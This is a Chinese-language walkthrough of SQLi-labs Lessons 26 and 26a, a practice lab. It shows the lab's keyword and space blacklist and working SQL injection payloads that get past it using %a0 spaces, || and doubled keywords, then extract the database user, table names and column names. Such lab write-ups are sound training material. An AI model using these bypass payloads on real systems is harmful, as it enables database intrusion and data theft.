GET - Error based - All your SPACES and COMMENTS belong to us
首先进入欢迎界面:
本节标题是 所有的空格和注释都没有卵用了。
根据上节内容,猜测应该是将空格和注释符号替换为空串。
实际测试:
构造 ?id=1
结果如图所示:
构造 ?id=1'
在$id后多添加了一个单引号导致,闭合出现了问题。
后台SQL语句应该为:
select ... from table where id = '$id' limit 0,1
继续构造:
?id=1' or 1='1%23
错误回显如图所示:
提示信息如图所示:
发现:
‘or’,空格,‘#’都被过滤掉了
进一步测试后发现:‘and’,‘/’,‘\’,‘*’,‘-’都被注释掉了。
后台源码如下:
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
那么如何绕过这个黑名单函数呢?
工具Sqlmap下tamper文件夹中有space2mysqlblack.py
其中利用如何绕过空格的字符:
# ASCII table:
# TAB 09 horizontal TAB
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only)
# - A0 - (MySQL only)
全部测试之后发现,一个都不能利用......
这是为什么?
因为我将MySQL中字符集改为UTF-8了。
MySQL默认字符集下,测试后发现可以利用'%a0'作为空格:
?id=0'union%a0select%a01,2,3||'1
结果如图所示:
获取user, database:
?id=0'union%a0select%a01,concat_ws('~',user(),database()),3||'1
获取表名:
?id=0'union%a0select%a01,(select%a0table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0limit%a00,1) ,3||'1
emails表的字段名:
?id=0'union%a0select%a01,(select%a0column_name%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='emails'%a0limit%a00,1) ,3||'1
?id=0'union%a0select%a01,(select%a0column_name%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='emails'%a0limit%a01,1) ,3||'1
emails表内容:
但是,上面提到过,如果将MySQL字符集改为UTF-8后,‘%a0'代替空格的技巧将无法利用。
Lesson - 26a
GET - Blind Based - All your SPACES & COMMENTS Belong to us - String - Single quotes Parenthesis
本节为盲注,无错误回显。
构造?id=1,结果如图所示:
构造?id=1",结果如图所示:
后台SQL语句不可能为
$id = ' " '.$id.' " ';
select ... from table where id = $id
即,$id不可能被两个双引号包括。
构造?id=1',结果如图所示:
构造 ?id=1')||('1
后台SQL结构:
select ... from table where id= ('$id') ...
查看源码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";